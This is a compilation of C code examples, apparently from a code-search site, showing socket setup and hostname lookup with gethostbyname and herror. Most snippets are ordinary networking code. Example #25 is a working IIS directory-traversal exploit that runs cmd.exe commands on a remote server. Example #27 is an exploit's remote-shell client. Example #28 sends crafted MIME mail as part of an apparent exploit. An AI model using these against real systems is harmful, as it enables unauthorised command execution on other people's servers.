示例#1
0
//Build socket
int buildSocket(char *argv[]) {

    //Read out arguments
    server_port = atoi(argv[2]);

    //Resolv hostname to IP Address
    if ((he=gethostbyname(argv[1])) == NULL) {  // get the host info
        herror("gethostbyname");
        exit(EXIT_FAILURE);
    }

	//Build hints
	memset(&hints, 0, sizeof hints); // make sure the struct is empty
	hints.ai_family = AF_UNSPEC;     // don't care IPv4 or IPv6
	hints.ai_socktype = SOCK_DGRAM; // TCP stream sockets

	//Get res
	getaddrinfo(argv[1],argv[2],&hints,&res);

	//Build socket out of queried data
	sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);


    //setup transport address
    their_addr.sin_family = AF_INET;
    their_addr.sin_port = htons((uint16_t)server_port);
    their_addr.sin_addr = *((struct in_addr *)he->h_addr);
    memset(their_addr.sin_zero, '\0', sizeof their_addr.sin_zero);

    //bind socket
    bind(sockfd, res->ai_addr, res->ai_addrlen);
}
示例#2
0
/** Main Method where the server start running.
 * Server makes a threadpool to server clients and before
 * that server reads a configuration file for his settings
 *
 * @param int
 * @param int
 */
int main(int argc, char* argv[]) {
	int sock, newsock, serverlen, clientlen;
	char buf[256];
	task t;
	struct sockaddr_in server, client;
	struct sockaddr* serverptr;
	struct sockaddr* clientptr;
	struct hostent* rem;
	threadpool tp;
	readConfig();

	signal(SIGPIPE, SIG_IGN);

	threadpool_init(&tp, threads);

	if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
		perror("Error in socket().");
		exit(-1);
	}

	server.sin_family = PF_INET;
	server.sin_addr.s_addr = htonl(INADDR_ANY );
	server.sin_port = htons(port);

	serverptr = (struct sockaddr*) &server;
	serverlen = sizeof(server);

	if (bind(sock, serverptr, serverlen) < 0) {
		perror("Error in bind().");
		exit(-1);
	}

	if (listen(sock, MAX_QUEUED)) {
		perror("Error in listen()");
		exit(-1);
	}
	printf("Now listening on %d\n", port);

	while (1) {
		clientptr = (struct sockaddr*) &client;
		clientlen = sizeof(client);

		if ((newsock = accept(sock, clientptr, &clientlen)) < 0) {
			perror("Error in accept().");
			exit(-1);
		}

		if ((rem = gethostbyaddr((char*) &client.sin_addr.s_addr,
				sizeof(client.sin_addr.s_addr), client.sin_family)) == NULL ) {
			herror("Error in gethostbyadd()");
			exit(-1);
		}
		printf("Connected with %s\n", rem->h_name);
		//manageClient(newsock);

		t.function = &manageClient;
		t.arg = newsock;
		enqueue(&tp, &t);
	}
}
示例#3
0
int  recv_msg(int sockfd,char* buffer,int bufflength)
{
    int flag=0;
    int reclength=0;
    memset(buffer,0,bufflength);
    
    for(flag=0;;)
    {
       if( (reclength=recv(sockfd,buffer+flag,bufflength-flag,0))==-1 )
       {
	   herror("Recv msg erro\n");
	   return -1;
       }
       else if(reclength==0)
       {
	   break;
       }
       else
       {
	   flag+=reclength;
	   reclength=0;
       }
       printf("flaginside=%d\n",flag);
    }

    buffer[flag]='\0';
    return flag;
}
示例#4
0
#include<stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>

#define SERVPORT 3333
#define MAXDATASIZE 100 /*每次最大数据传输量 */
int main(int argc, char *argv[])
{
	int sockfd, recvbytes;
	char buf[MAXDATASIZE];
	struct hostent *host;
	struct sockaddr_in serv_addr;
	if (argc < 2) {
		fprintf(stderr,"Please enter the server's hostname!\n");
		exit(1);
	}
	if((host=gethostbyname(argv[1]))==NULL) {
		herror("gethostbyname出错!");
		exit(1);
	}
	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
		perror("socket创建出错!");
		exit(1);
	}
	serv_addr.sin_family=AF_INET;
	serv_addr.sin_port=htons(SERVPORT);
	serv_addr.sin_addr = *((struct in_addr *)host->h_addr);
	bzero(&(serv_addr.sin_zero),8);
	if (connect(sockfd, (struct sockaddr *)&serv_addr, \
				sizeof(struct sockaddr)) == -1) {
		perror("connect出错!");
		exit(1);
	}
	if ((recvbytes=recv(sockfd, buf, MAXDATASIZE, 0)) ==-1) {
		perror("recv出错!");
		exit(1);
	}
	buf[recvbytes] = '\0';
	printf("Received: %s",buf);
	close(sockfd);
} 
示例#5
0
char *getvmname(char ip[INET_ADDRSTRLEN]) {
    struct in_addr vmaddr = {0};
    struct hostent *he;
    char *name;
    int i = 0;
    if(ip[0] == '\0') {
        return NULL;
    }
    if(0 == inet_aton(ip, &vmaddr)) {
        _ERROR("inet_aton(): bad ip %s\n", ip);
        exit(EXIT_FAILURE);
    }

    if(NULL == (he = gethostbyaddr(&vmaddr, 4, AF_INET))) {
        herror("ERROR gethostbyaddr()");
        exit(EXIT_FAILURE);
    }
    name = he->h_name;
    while(name != NULL && name[0] != 'v' && name[1] != 'm') {
        name = he->h_aliases[i];
        i++;
    }

    return name;
}
示例#6
0
文件: talker.c 项目: Furau/Practice
int main(int argc,char *argv[])	
{
	int sockfd;
	struct sockaddr_in their_addr;
	struct hostent *he;
	int numbytes;
	if(argc!=3){
		fprintf(stderr,"usage:talker hostname message\n");
		exit(1);
		}
	if((he=gethostbyname(argv[1]))==NULL){
		herror("gethostbyname");
		exit(1);
		}
		if((sockfd = socket(AF_INET,SOCK_DGRAM,0))==-1){
			perror("socket");
			exit(1);
			}
		their_addr.sin_family = AF_INET;
		their_addr.sin_port = htons(MYPORT);
		their_addr.sin_addr=*((struct in_addr*)he->h_addr);
		bzero(&(their_addr.sin_zero),8);
		if((numbytes=sendto(sockfd,argv[2],strlen(argv[2]),0,(struct sockaddr *)&their_addr,sizeof(struct sockaddr)))==-1)
	{
	  perror("sendto");
	  exit(1);
	}
		printf("sent %d bytes to %s\n",numbytes,inet_ntoa(their_addr.sin_addr));
	close (sockfd);
	return 0;
	}	
示例#7
0
文件: ghbn.c 项目: ajsutrave/CS-425
int main(int argc, char *argv[])
{
	int i;
	struct hostent *he;
	struct in_addr **addr_list;

	if (argc != 2) {  // error check the command line
		fprintf(stderr,"usage: ghbn hostname\n");
		return 1;
	}

	if ((he = gethostbyname(argv[1])) == NULL) {  // get the host info
		herror("gethostbyname");
		return 2;
	}

	// print information about this host:
	printf("Official name is: %s\n", he->h_name);
	printf("    IP addresses: ");
	addr_list = (struct in_addr **)he->h_addr_list;
	for(i = 0; addr_list[i] != NULL; i++) {
		printf("%s ", inet_ntoa(*addr_list[i]));
	}
	printf("\n");

	return 0;
}
示例#8
0
void query(char *host)
{
	struct sockaddr_in router;
	register struct rip *msg = (struct rip *)packet;
	struct hostent *hp;
	struct servent *sp;

	memset(&router, 0, sizeof (router));
	router.sin_family = AF_INET;
	if (inet_aton(host, &router.sin_addr) == 0) {
		hp = gethostbyname(host);
		if (hp == NULL) {
			fprintf(stderr, "ripquery: %s: ", host);
			herror((char *)NULL);
			exit(1);
		}
		memcpy(&router.sin_addr, hp->h_addr, sizeof(router.sin_addr));
	}
	sp = getservbyname("router", "udp");
	if (sp == 0) {
		printf("udp/router: service unknown\n");
		exit(1);
	}
	router.sin_port = sp->s_port;
	msg->rip_cmd = RIPCMD_REQUEST;
	msg->rip_vers = RIPVERSION;
	msg->rip_nets[0].rip_dst.sa_family = htons(AF_UNSPEC);
	msg->rip_nets[0].rip_metric = htonl(HOPCNT_INFINITY);
	if (sendto(s, packet, sizeof (struct rip), 0,
	  (struct sockaddr *)&router, sizeof(router)) < 0)
		perror(host);
}
示例#9
0
int socket_init(int tcp, char *host, int port)
{
    struct sockaddr_in sa[1];
    struct hostent *hent;
    int s;

    hent = gethostbyname(host);
    if (!hent) {
	fprintf(stderr, "%s: gethostbyname: ", prog);
        herror(host);
	exit(1);
    }

    if (tcp) {
	if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	    die("socket");
    } else {
	if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
	    die("socket");
    }

    memset((char *) sa, 0, sizeof(*sa));
    sa->sin_family = AF_INET;
    sa->sin_port = htons(port);
    sa->sin_addr = *((struct in_addr *)hent->h_addr);
       
    if (connect(s, (struct sockaddr *)sa, sizeof(*sa)) < 0)
	return -1;

    return s;
}
示例#10
0
int
SocketHolder::lt_connect (const char *sHost, int nPort)
{

  if (mSocket < 0)
    {
      return -1;
    }

  struct hostent *host;
  struct sockaddr_in serv_addr;

  if ((host = gethostbyname (sHost)) == NULL)
    {
      herror ("gethostbyname出错!");
      return -2;
    }

  serv_addr.sin_family = AF_INET;
  serv_addr.sin_port = htons (nPort);
  serv_addr.sin_addr = *((struct in_addr *) host->h_addr);
  bzero (&(serv_addr.sin_zero), 8);
  if (connect
      (mSocket, (struct sockaddr *) &serv_addr,
       sizeof (struct sockaddr)) == -1)
    {
      perror ("connect出错!");
      return -3;
    }


  return 0;
}
示例#11
0
/**
* init_peer(peer_t * peer, int id, char * ip, unsigned short port) -> int
*
*
* initialize the peer_t structure peer with an id, ip address, and a
* port. Further, it will set up the sockaddr such that a socket
* connection can be more easily established.
*
* Return: 0 on success, negative values on failure. Will exit on bad
* ip address.
*
**/
int init_peer(peer_t *peer, char *id, char *ip, unsigned short port)
{

    struct hostent *hostinfo;
    //set the host id and port for referece
    memcpy(peer->id, id, ID_SIZE);
    peer->port = port;

    //get the host by name
    if ((hostinfo = gethostbyname(ip)) == NULL)
    {
        perror("gethostbyname failure, no such host?");
        herror("gethostbyname");
        exit(1);
    }

    //zero out the sock address
    bzero(&(peer->sockaddr), sizeof(peer->sockaddr));

    //set the family to AF_INET, i.e., Iternet Addressing
    peer->sockaddr.sin_family = AF_INET;

    //copy the address to the right place
    bcopy((char *) (hostinfo->h_addr),
          (char *) & (peer->sockaddr.sin_addr.s_addr),
          (size_t) hostinfo->h_length);

    //encode the port
    peer->sockaddr.sin_port = htons(port);

    return 0;

}
示例#12
0
int setsock(char *host,int port)
{
	int sock;
	struct hostent *he;
	struct sockaddr_in x82_addr;
 
	if((he=gethostbyname(host))==NULL)
	{
		herror(" # gethostbyname() error");
		return(-1);
	}

	if((sock=socket(AF_INET,SOCK_STREAM,0))==EOF)
	{
		perror(" # socket() error");
		return(-1);
	}
    
	x82_addr.sin_family=AF_INET;
	x82_addr.sin_port=htons(port);
	x82_addr.sin_addr=*((struct in_addr *)he->h_addr);
	bzero(&(x82_addr.sin_zero),8);
 
	if(connect(sock,(struct sockaddr *)&x82_addr,sizeof(struct sockaddr))==EOF)
	{
		perror(" # connect() error");
		return(-1);
	}
	return(sock);
}
示例#13
0
		const char* TCPSocket::getipaddress()
		{
			int i;
			struct hostent *he;
			struct in_addr **addr_list;
			
			char name[128];
			gethostname(name,127);
			
			if ((he = gethostbyname(name)) == NULL)
			{  // get the host info
#if PLATFORM_APPLE
				herror("gethostbyname");
#endif
				return NULL;
			}
			
			// print information about this host:
			printf("Official name is: %s\n", he->h_name);
			printf("    IP addresses: ");
			while (*he->h_aliases)
				printf("alias: %s\n", *he->h_aliases++);
			addr_list = (struct in_addr **)he->h_addr_list;
			for(i = 0; addr_list[i] != NULL; i++) {
				printf("%s ", inet_ntoa(*addr_list[i]));
			}
			printf("\n");
			
			return inet_ntoa(*addr_list[0]);
		}
示例#14
0
/* argc = argument count, the system would count the arguments in numbers.
 * argv[] = argument value, the parameter after the execute file, every strings is aparted
 * by blank, the first value is argv[0], argv[1], argv[2]..... */
int main(int argc, char *argv[])
{

//	struct hostent {
//		char  *h_name;            /* official name of host */
//		char **h_aliases;         /* alias list */
//		int    h_addrtype;        /* host address type */
//		int    h_length;          /* length of address */
//		char **h_addr_list;       /* list of addresses */
//	}
	struct hostent *host;	
	if (argc <2 ) return ; 
	
//	struct hostent *gethostbyaddr(const void *addr, socklen_t len, int type);
	host = gethostbyaddr(argv[1], sizeof(argv[1]), AF_INET);

	if (host == (struct hostent*) NULL)
//		void herror(const char *s);
		herror("gethostbyaddr");
	else { 
	printf("name : %s\n", host->h_name);
	printf("alias : %s\n", host->h_aliases[0]);
	printf("type : %d\n", host->h_addrtype);
	printf("addr : %s\n", host->h_addr_list[0]);
	}
}
示例#15
0
文件: bthost.c 项目: 2asoft/freebsd
static int
hostmode(char const *arg, int brief)
{
	struct hostent	*he = NULL;
	bdaddr_t	 ba;
	char		 bastr[32];
	int		 reverse;

	if (bt_aton(arg, &ba) == 1) {
		reverse = 1;
		he = bt_gethostbyaddr((char const *) &ba, sizeof(ba), 
					AF_BLUETOOTH);
	} else {
		reverse = 0;
		he = bt_gethostbyname(arg);
	}

	if (he == NULL) {
		herror(reverse? bt_ntoa(&ba, bastr) : arg);
		return (1);
	}

	if (brief)
		printf("%s", reverse? he->h_name :
				bt_ntoa((bdaddr_t *)(he->h_addr), bastr));
	else
		printf("Host %s has %s %s\n", 
			reverse? bt_ntoa(&ba, bastr) : arg,
			reverse? "name" : "address",
			reverse? he->h_name :
				bt_ntoa((bdaddr_t *)(he->h_addr), bastr));

	return (0);
}
示例#16
0
int send_reg(struct reg *str,char target_ip[12])
{
	struct sockaddr_in pin;
	struct hostent *server_ip;
	int socket_pid;
	if((server_ip=gethostbyname(target_ip))==0)
	{
		herror("can not resoving localhost\n");
		exit(1);
	}
	//target_ip=server_ip;
	bzero(&pin,sizeof(pin));
	pin.sin_family=AF_INET;
	pin.sin_addr.s_addr=((struct in_addr*)(server_ip->h_addr))->s_addr;
	pin.sin_port=htons(port);
	if((socket_pid=socket(AF_INET, SOCK_STREAM, 0))==-1)
    {
        perror("error opening socket\n");
        exit(1);
    }

    if(connect(socket_pid, (void*)&pin, sizeof(pin))==-1)
    {
        perror("can not connecting to server\n");
        exit(1);
    }
    if(send(socket_pid,(char *)str, sizeof(struct reg), 0)==-1)
    {
        perror("can not send message\n");
        exit(1);
    }
    close(socket_pid);
	return 1;
}
示例#17
0
文件: 11525_0.c 项目: B-Rich/osf_db
int conn(char *host, u_short port, int proto)
{
    int sock = 0;
    struct hostent *hp;
    struct sockaddr_in sa;

    memset(&sa, 0, sizeof(sa));

    hp = gethostbyname(host);
    if (hp == NULL) {
            herror("gethostbyname");
        exit(EXIT_FAILURE);
    }
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

    sock = socket(AF_INET, proto, 0);
    if (sock < 0)
            die("socket");

    /* with UDP this means we can write() instead of sendto() */
    if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
            die("connect");

    printf("\nconnected to %s(%s)\n\n", host, inet_ntoa(sa.sin_addr));
    return sock;
}
示例#18
0
int main (int argc, char **argv)
{
   static int count=0;
   
    if (argc != 2)
    {
        fprintf(stderr, "usage: %s hostname\n", argv[0]);
        return 1;
    }
    he = gethostbyname (argv[1]);
    if (he)
    {
        /* printf("name: %s\n", he->h_name); */
        /* this section is for alias addresses, wont be used currently so commented.
         while (*he->h_aliases)
         printf("alias: %s\n", *he->h_aliases++); */
            
            
        while (*he->h_addr_list)
        {
            bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
           
               printf("%s", inet_ntoa(a));
               return 0; /*exit after taking the first ip address itself, do not wait for another one. */
              
             
        }
    }
    else
        herror(argv[0]);
    return 0;
}
示例#19
0
int
nb_resolvehost_in(const char *name, struct sockaddr **dest, long smbtcpport)
{
	struct hostent* h;
	struct sockaddr_in *sinp;
	int len;

	h = gethostbyname(name);
	if (!h) {
		warnx("can't get server address `%s': ", name);
		herror(NULL);
		return ENETDOWN;
	}
	if (h->h_addrtype != AF_INET) {
		warnx("address for `%s' is not in the AF_INET family", name);
		return EAFNOSUPPORT;
	}
	if (h->h_length != 4) {
		warnx("address for `%s' has invalid length", name);
		return EAFNOSUPPORT;
	}
	len = sizeof(struct sockaddr_in);
	sinp = malloc(len);
	if (sinp == NULL)
		return ENOMEM;
	bzero(sinp, len);
	sinp->sin_len = len;
	sinp->sin_family = h->h_addrtype;
	memcpy(&sinp->sin_addr.s_addr, h->h_addr, 4);
	sinp->sin_port = htons(smbtcpport);
	*dest = (struct sockaddr*)sinp;
	return 0;
}
示例#20
0
文件: server.c 项目: eli-davis/unix
int create_server()
{ unsigned int port_number = 3201;
  struct hostent * current_working_host = gethostbyname("rabbit.eng.miami.edu");
  if (!current_working_host)
  { herror("get current host failed");
    exit(1); }
  struct in_addr * address = (struct in_addr *)current_working_host->h_addr;
  //printf("IP address: %s\n", inet_ntoa(*address));
  struct sockaddr_in server_info;
  server_info.sin_addr.s_addr = htonl(INADDR_ANY);
  server_info.sin_port = htons(port_number);
  server_info.sin_len = sizeof(server_info);
  server_info.sin_family = AF_INET;
  int server_socket = socket(AF_INET, SOCK_STREAM, 0);
  if (server_socket < 0)
  { perror("create server socket failed");
    exit(1); }
  int bind_socket_to_server = bind(server_socket, (struct sockaddr *) &server_info, sizeof(server_info));
  if (bind_socket_to_server < 0)
  { perror("failed binding socket to server");
    exit(1); }
  //turn on server
  int listen_on_port = listen(server_socket, 3);
  if (listen_on_port < 0)
  { perror("listen failed, unable to turn on server");
    exit(1); }
  printf("server online\n");
  //set the socket to be non-blocking
  fcntl(server_socket, F_SETFL, O_NONBLOCK);
  return server_socket; }
示例#21
0
bool LanguageModelRemote::start(const std::string& host, int port)
{
  //std::cerr << "host = " << host << ", port = " << port << "\n";
  sock = socket(AF_INET, SOCK_STREAM, 0);
  hp = gethostbyname(host.c_str());
  if (hp==NULL) {
#if defined(_WIN32) || defined(_WIN64)
    fprintf(stderr, "gethostbyname failed\n");
#else
    herror("gethostbyname failed");
#endif
    exit(1);
  }

  memset(&server, '\0', sizeof(server));
  memcpy((char *)&server.sin_addr, hp->h_addr, hp->h_length);
  server.sin_family = hp->h_addrtype;
  server.sin_port = htons(port);

  int errors = 0;
  while (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
    //std::cerr << "Error: connect()\n";
    sleep(1);
    errors++;
    if (errors > 5) return false;
  }
  return true;
}
示例#22
0
文件: controller.c 项目: buhman/prc
int
controller_recvfd(int sfd)
{
    struct msghdr msg = {0};
    struct cmsghdr *cmsg;
    int fd, *fdptr;

    char buf[CMSG_SPACE(sizeof(int))];

    struct iovec ib = {0};
    char ip;

    ssize_t retsize;

    {
        ib.iov_base = &ip;
        ib.iov_len = 1;

        msg.msg_iov = &ib;
        msg.msg_iovlen = 1;
    }

    msg.msg_control = buf;
    msg.msg_controllen = sizeof(buf);

    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));

    retsize = recvmsg(sfd, &msg, 0);
    fprintf(stderr, "RECVMSG: %zd\n", retsize);
    if (retsize < 0)
        herror("recvmsg()", retsize);
    if (retsize == 0)
        return 0;

    cmsg = CMSG_FIRSTHDR(&msg);

    if (cmsg->cmsg_type != SCM_RIGHTS)
        herror("unknown cmsg_type", -1);

    fdptr = (int*)CMSG_DATA(cmsg);
    memcpy(&fd, fdptr, sizeof(int));

    return fd;
}
示例#23
0
int main(int argc,char *argv[]){
if(argc!=3)
	{
		printf("Usage [hostname] [port]\n");
		return 0;
	}
int clientSocket, portNum, nBytes,sv;
char buffer[1024];
struct sockaddr_in serverAddr, clad;
socklen_t addr_size;

clientSocket = socket(PF_INET, SOCK_STREAM, 0);

portNum = atoi(argv[2]);

struct hostent *he;
struct in_addr **ad;
if ( (he = gethostbyname( argv[1] ) ) == NULL) 
{
    // get the host info
    herror("Error");
    return 1;
}
ad=(struct in_addr **) he->h_addr_list;
char ip[100];
strcpy(ip,inet_ntoa(*ad[0]));

serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(portNum);
serverAddr.sin_addr.s_addr = inet_addr(ip);



addr_size = sizeof serverAddr;

if(connect(clientSocket, (struct sockaddr *) &serverAddr, addr_size)<0)
	{ 
		printf("connect error\n");
		return 0;
	}
else
	printf("Connected to %s:%d \n",ip,portNum);
printf("What do you want to calculate?\n Operator1 Operator(+ - * / ^) Operator2: ");
fgets(buffer,1024,stdin);
char a[50];
printf("You typed: %s",buffer);

nBytes = strlen(buffer) + 1;


send(clientSocket,buffer,nBytes,0);

recv(clientSocket, a, 1024, 0);

printf("Received from server: %s \n",a);   

close(clientSocket);
return 0;
}
示例#24
0
static void INET_reserror(char *text)
{
#ifdef EMBED
    printf(text);
#else
    herror(text);
#endif
}
示例#25
0
int main(int argc, char **argv){
  char buffy[666]; /* well, what else? I dunno how long your commands are.. */
  char buf[500];
  char rcvbuf[8192];
  int i, sock, result;
  struct sockaddr_in 	name;
  struct hostent 	*hostinfo;
  if (argc < 2){
    printf ("try %s www.server.com\n", argv[0]);
    printf ("will let you play with cmd.exe of an IIS4/5 server.\n");
    printf ("by incubus <*****@*****.**>\n\n");
    exit(0);
  }
  printf ("\niisex - iis 4 and 5 exploit\n---------------------------\n");
  printf ("act like a cmd.exe kiddie, type quit to quit.\n");
  for (;;)
  {
    printf ("\n[enter cmd> ");
    gets(buf);
    if (strstr(buf, "quit")) exit(0);
    i=0;
    while (buf[i] != '\n'){
      if(buf[i] == 32) buf[i] = 43;
      i++; 
    }
    hostinfo=gethostbyname(argv[1]);
    if (!hostinfo){
      herror("Oops"); exit(-1);
    }
    name.sin_family=AF_INET; name.sin_port=htons(80);
    name.sin_addr=*(struct in_addr *)hostinfo->h_addr;
    sock=socket(AF_INET, SOCK_STREAM, 0);
    result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));
    if (result != 0) { herror("Oops"); exit(-1); }
      if (sock < 0){
        herror("Oops"); exit(-1);
    }
    strcpy(buffy,"GET /scripts/..\%c0%af../winnt/system32/cmd.exe?/c+");
    strcat(buffy,buf);
    strcat(buffy, " HTTP/1.0\n\n");
    send(sock, buffy, sizeof(buffy), 0);
    recv(sock, rcvbuf, sizeof(rcvbuf), 0);
    printf ("%s", rcvbuf);
    close(sock);
  }
}
示例#26
0
struct hostent *gethost(){
	struct hostent *host_global=NULL;
	if(NULL==(host_global=gethostbyname(HOST_NAME))){
		herror("host");
		return NULL;
	}
	return host_global;
}
示例#27
0
void shell(char *host, int port) {
	int sockfd, n;
	char buff[BUFFERSIZE];
	fd_set readfs;
	struct hostent *he;
	struct sockaddr_in dest_dir;

	printf(" [+] connecting to shell...\t");
	fflush(stdout);

	if((he=gethostbyname(host)) == NULL) {
		herror("Error");
		printf("\n");
		exit(1);
	} 

	if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
		perror("Error");
		printf("\n");
		exit(1);
	}

	dest_dir.sin_family = AF_INET;
	dest_dir.sin_port = htons(port);
	dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
	bzero(&(dest_dir.sin_zero), 8);

	if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
		sizeof(struct sockaddr), TIMEOUT) == ERROR) {
		
		printf("Closed\n\n");
		printf(" [-] failed! perhaps the target has down...\n\n");
		exit(1);
	}

	printf("OK\n\n");

	printf(" [!] you have a shell :)\n\n");
	fflush(stdout);

	send(sockfd, "uname -a; id;\n", 14, 0);

	while(1) {
		FD_ZERO(&readfs);
		FD_SET(0, &readfs);
		FD_SET(sockfd, &readfs);
		if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
		if(FD_ISSET(0,&readfs)) {
			if((n = read(0,buff,sizeof(buff))) < 1)
			exit(0);
			if(send(sockfd, buff, n, 0) != n) exit(0);
		}
		if(FD_ISSET(sockfd,&readfs)) {
			if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
			write(1, buff, n);
		}
	}
}
示例#28
0
void send_mail()        {

        struct hostent *he;

        if ((he=gethostbyname(hostname)) == NULL) {
            herror("gethostbyname");
            exit(1);
        }

        in_addr.sin_family = AF_INET;
        in_addr.sin_port = htons(25);
        in_addr.sin_addr = *((struct in_addr *)he->h_addr);
        bzero(&(in_addr.sin_zero), 8);
   
        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
                perror("socket");
                exit(0);
        }
   
        if(connect(sockfd, (struct sockaddr *)&in_addr, sizeof(in_addr)) < 0){
                perror("connect");
                exit(0);
        }
   
    transmit ("EHLO www.microsoft.com");
    transmit ("MAIL FROM: [email protected]");
    transmit ("RCPT TO: %s@%s", username, hostname);
    transmit ("DATA");

    transmit ("From: <*****@*****.**>");
    transmit ("X-Sender: root@killer");
    transmit ("To: %s@%s", username, hostname);
    transmit ("Subject: test");
    transmit ("Message-ID: <kmail.9905122356390.190-200000@killer>");
    transmit ("MIME-Version: 1.0");
    transmit ("Content-Type: MULTIPART/MIXED; BOUNDARY=\"0-821493994-926553406=:190\"");
    transmit (""); //blah :>
    transmit ("  This message is in MIME format.  The first part should be readable text,");
    transmit ("  while the remaining parts are likely unreadable without MIME-aware tools.");
    transmit ("  Send mail to [email protected] for more info.");
    transmit ("");
    transmit ("--0-821493994-926553406=:190");
    transmit ("Content-Type: TEXT/PLAIN; charset=US-ASCII");
    transmit ("\n"); //three
    transmit ("--0-821493994-926553406=:190");
    transmit ("Content-Type: TEXT/PLAIN; charset=US-ASCII; name=shadow");
    transmit ("Content-Transfer-Encoding: BASE64");
    transmit ("Content-ID: <kmail.9905122356460.190@killer>");
    transmit ("Content-Description:");
    transmit ("Content-Disposition: attachment; filename=shadow");
    transmit ("");
    transmit ("cm9vdDo6MTA2OTU6MDo6Ojo6"); // this needs work.. I hate all.
    transmit ("--0-821493994-926553406=:190--");
    transmit (".");
    transmit ("QUIT");
                printf("sent the data.. find the process..\n");
                find_processes();
}
示例#29
0
void Dect_hostname(struct hostent *host)
{	
	if(host == NULL)
	{
		herror("gethostbyname error!");
		exit(1);
	}

}
示例#30
0
int
SocketOpen( char *server_name, int port )
{
  int status;
  int sock_fd = -1;
  struct hostent *hostinfo;
  struct sockaddr_in serv_addr;

  hostinfo = gethostbyname(server_name);
  if( hostinfo == NULL ) {
    herror( PACKAGE );
    ErrorLocation( __FILE__, __LINE__ );
    goto error;
  }

  /* Open socket for Stream (TCP) */
  sock_fd = socket( PF_INET, SOCK_STREAM, 0 );
  if( sock_fd < 0 ) {
    perror( PACKAGE );
    ErrorLocation( __FILE__, __LINE__ );
    goto error;
  }

  /*---Initialize server address/port struct---*/
  serv_addr.sin_family = AF_INET;
  serv_addr.sin_port = htons(port);
  serv_addr.sin_addr = *((struct in_addr *) hostinfo->h_addr );
  memset( &( serv_addr.sin_zero ), '\0', 8 ); /* Clear the rest of the structure. */

  if( wmnotify_infos.debug ) {
    printf( "  Server IP   = %s\n", inet_ntoa( serv_addr.sin_addr ) );
    printf( "  Server port = %d\n", ntohs(serv_addr.sin_port) );
  }

  /* Establishing connection. */
  status = connect( sock_fd, (struct sockaddr *) &(serv_addr), sizeof(serv_addr) );
  if( status < 0 ) {
    perror( PACKAGE );
    ErrorLocation( __FILE__, __LINE__ );
    goto error;
  }

 end:
  return sock_fd;

 error:
  if( sock_fd >= 0 ) {
    status = close( sock_fd );
    if( status < 0 ) {
      perror( PACKAGE );
      ErrorLocation( __FILE__, __LINE__ );
    }
  }

  sock_fd = -1;
  goto end;
}